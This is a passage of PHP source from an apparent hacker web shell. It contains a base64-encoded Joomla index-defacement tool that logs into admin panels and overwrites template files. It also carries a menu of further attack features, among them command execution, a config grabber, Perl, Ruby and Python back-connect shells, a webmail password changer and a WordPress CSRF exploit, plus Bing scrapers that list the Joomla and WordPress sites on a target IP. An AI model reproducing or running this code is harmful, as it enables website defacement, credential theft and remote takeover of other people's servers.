VVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCg0KDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRyZXR1cm49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJyw0KTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9cm9vdCZwYXNzd2Q9cm9vdCZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPXNvdXJjZS5lZGl0JmlkPSIuYmFzZTY0X2VuY29kZSgkdGVtcGxhdGVfaWQuIjppbmRleC5waHAiKTsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDIpOw0KaWYoJGhpZGRlbjIpIHsNCmVjaG8oIjxicj5bK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvciIpOw0KZXhpdDsNCn0NCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJqZm9ybVtzb3VyY2VdPSIuJGguIiZqZm9ybVtmaWxlbmFtZV09aW5kZXgucGhwJmpmb3JtW2V4dGVuc2lvbl9pZF09Ii4kdGVtcGxhdGVfaWQuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNvdXJjZS5zYXZlIik7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGQgY2xhc3M9Im1lc3NhZ2UgbWVzc2FnZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gSW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS42ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCn0NCmVsc2UNCnsNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICAgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkgDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZXNfbWVudWAgV0hFUkUgY2xpZW50X2lkPScwJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMyk7DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJ1c2VybmFtZT1yb290JnBhc3N3ZD1yb290Jm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KDQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDYpOw0KDQppZigkaGlkZGVuMikgew0KZWNobygiPGJyPlsrXSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQoNCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kaC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UgZmFkZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gSW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQp9DQoNCn0NCg0KDQpmdW5jdGlvbiByYW5kb210KCkgeyANCg0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsgDQogICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsgDQogICAgJGkgPSAwOyANCiAgICAkcGFzcyA9ICcnIDsgDQoNCiAgICB3aGlsZSAoJGkgPD0gNykgeyANCiAgICAgICAgJG51bSA9IHJhbmQoKSAlIDMzOyANCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyANCiAgICAgICAgJHBhc3MgPSAkcGFzcyAuICR0bXA7IA0KICAgICAgICAkaSsrOyANCiAgICB9IA0KDQogICAgcmV0dXJuICRwYXNzOyANCg0KfQ0KDQpmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbiwkaT0xKQ0KDQp7DQoNCiRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsNCiRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7DQokYXI9dHJpbSgkYXIxWzBdKTsNCnJldHVybiAkYXI7DQp9DQplY2hvICINClxuIjsgDQplY2hvICI8dGl0bGU+cm9vdCAuLS48L3RpdGxlPg0KXG4iOyANCmVjaG8gIiA8c3R5bGU+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiQk9EWSB7IFNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMTkxOTE5OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IG9saXZlOyAgIGNvbG9yOiB3aGl0ZTt9DQpcbiI7IA0KZWNobyAidGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogT3JiaXRyb247IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQ0KXG4iOyANCmVjaG8gImlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBPcmJpdHJvbjsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjtoZWlnaHQ6MTd9DQpcbiI7IA0KZWNobyAiPC9zdHlsZT4NClxuIjsgDQplY2hvICI8Y2VudGVyPg0KXG4iOyANCmVjaG8gIjxmb250IGNvbG9yPVwiI0ZGRkY2RkZcIiBzaXplPScrMycgZmFjZT0nT3JiaXRyb24nPlsgfn4gQ2hhbmdlIEpvb21sYSBJbmRleCB+fiBdPC9mb250Pjxicj48YnI+DQpcbiI7IA0KZWNobyAiPEZPUk0gYWN0aW9uPVwiXCIgIG1ldGhvZD1cInBvc3RcIj4NClxuIjsgDQplY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmb3JtX2FjdGlvblwiIHZhbHVlPVwiMlwiPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8dGFibGUgYm9yZGVyPTE+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9wcmVmaXggPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3ByZWZpeFwiIHZhbHVlPVwiam9zX1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX3VzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzMFwiIG5hbWU9XCJkYl91c2VybmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfcGFzc3dvcmRcIiB2YWx1ZT1cIlwiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX25hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfbmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+QWRtaW4gQ29udHJvbCBwYW5lbCB1cmw8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwic2l0ZV91cmxcIiB2YWx1ZT1cImh0dHA6Ly9zaXRlLmNvbS9hZG1pbmlzdHJhdG9yL1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICINClxuIjsgDQplY2hvICI8L3RhYmxlPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8YnI+DQpcbiI7IA0KZWNobyAiPFRFWFRBUkVBIHJvd3M9XCIxOFwiICBjb2xzPVwiNTBcIiBuYW1lPVwiY29kZVwiPjwvVEVYVEFSRUE+DQpcbiI7IA0KZWNobyAiCTxicj4NClxuIjsgDQplY2hvICI8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlN1Ym1pdFwiIG5hbWU9XCJTdWJtaXRcIj4NClxuIjsgDQplY2hvICI8L0ZPUk0+DQpcbiI7IA0KPz4=\';
$file = fopen("zjommindexz.php" ,"w+");
$write = fwrite ($file ,base64_decode($coddd));
fclose($file);

echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Joomla Index Changer</span><br><iframe src=zjommindexz.php width=75% height=60% frameborder=0></iframe></div></center>"; 
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'joomlarvrssrvetll\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Joomla Reverse Server</span></font></center><br>\';
echo \'<center>  
<form method="post" action="" enctype="multipart/form-data">  
<input type="text" name="ip" value="" placeholder="Extract From ip" size="15"> <input type=submit name=get value=&nbsp;&nbsp;Get&nbsp;&nbsp; />  
<br>  <br>
<textarea class="area"name="sites" cols="40" rows="13">\';  
if(isset($_POST[\'get\']) && $_POST[\'ip\'] != ""){  
        $target = $_POST[\'ip\'];  
        $sites = mbing("ip:$target index.php?option=com");  
        if(!empty($sites)){  
        $targets = implode("
",cln_arr(array_map("jos_site",$sites)));  
        echo $targets;  
        }else{  
            echo "No Joomla Found.";  
        }  
}  
echo \'</textarea></center>\';  

function mbing($what){  
    for($i = 1; $i <= 2000; $i += 10){  
        $ch = curl_init();  
        curl_setopt ($ch, CURLOPT_URL, "http://www.bing.com/search?q=".str_replace(" ","+", $what)."&first=$i");  
        curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16");  
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);      
        curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().\'/cookie.txt\');  
        curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().\'/cookie.txt\');  
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);  
        $data = curl_exec($ch);  
        preg_match_all(\'#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#\',$data, $links);  
        foreach($links[1] as $link){  
            $allLinks[] = $link;  
        }  
        if(!preg_match(\'#class="sb_pagN"#\',$data)) break;  
    }  
      
    if(!empty($allLinks) && is_array($allLinks)){  
        return array_unique($allLinks);  
    }  
}  

function cln_arr($array){  
    return @array_filter(@array_unique($array));  
}  
function jos_site($site){  
    return (preg_match("/option/",$site)) ? preg_replace("#(.*?)/index(.*)|(.*?)/?option(.*)#","$1/",$site):false;  
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'wordddprssrrrvrse\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';

echo"<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Wordpress Reverse Server</span></center><br>";
echo \'<center>
<form method="post" action="" enctype="multipart/form-data">  
<input type="text" name="ip" value="" placeholder="Extract From ip" size="15"> <input type=submit name=get value=&nbsp;&nbsp;Get&nbsp;&nbsp; /><br>  
<br />  
<textarea class="area" name="sites" cols="40" rows="13">\';  
if(isset($_POST[\'get\']) && $_POST[\'ip\'] != ""){  
        $target = $_POST[\'ip\'];  
        $dorks = array(\'/?page_id=\', \'/wp-content/\');          
        foreach($dorks as $dork){  
            $sites = mbing("ip:$target $dork");  
            if(!empty($sites)){  
                $targets = implode("
",cln_arr(array_map("wp_site",$sites)));  
                echo $targets."
";  
            }  
        }  
          
}  
echo \'</textarea></center>\';  

function mbing($what){  
    for($i = 1; $i <= 2000; $i += 10){  
        $ch = curl_init();  
        curl_setopt ($ch, CURLOPT_URL, "http://www.bing.com/search?q=".str_replace(" ","+", $what)."&first=$i");  
        curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16");  
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);      
        curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().\'/cookie.txt\');  
        curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().\'/cookie.txt\');  
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);  
        $data = curl_exec($ch);  
        preg_match_all(\'#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#\',$data, $links);  
        foreach($links[1] as $link){  
            $allLinks[] = $link;  
        }  
        if(!preg_match(\'#class="sb_pagN"#\',$data)) break;  
    }  
      
    if(!empty($allLinks) && is_array($allLinks)){  
        return array_unique($allLinks);  
    }  
}  

function cln_arr($array){  
    return @array_filter(@array_unique($array));  
}  

function wp_site($site){  
    return (eregi("wp-content",$site) or eregi("page_id=",$site)) ? str_replace("?","",preg_replace("#(.*?)/(\?page_id=|wp-content)(.*)#","$1",$site)):false;  
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'tule\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a><br><br>
<a href="?action=cmd">Command Execution</a><br><br>
<a href="?action=com64">Base64 Command</a><br><br>
<a href="?action=vgrab">Config Grabber</a><br><br>
<a href="?action=subdomainchkrezes">Subdomain Checker</a><br><br>
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a><br><br>
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a><br><br>
<a href="?action=cari">Find Directory Writable/Readable</a><br><br>
<a href="?action=zonh">Zone-h Notifier</a><br><br>
<a href="?action=shhhshell">Shtml Command Shell</a><br><br>
<a href="?action=beko">Back connect Simple</a><br><br>
<a href="?action=rubybckconnnect">Ruby BackConnect</a><br><br>
<a href="?action=prlbckacnonect">Perl BackConnect</a><br><br>
<a href="?action=pythnonbakcncete">Python BackConnect</a><br><br>
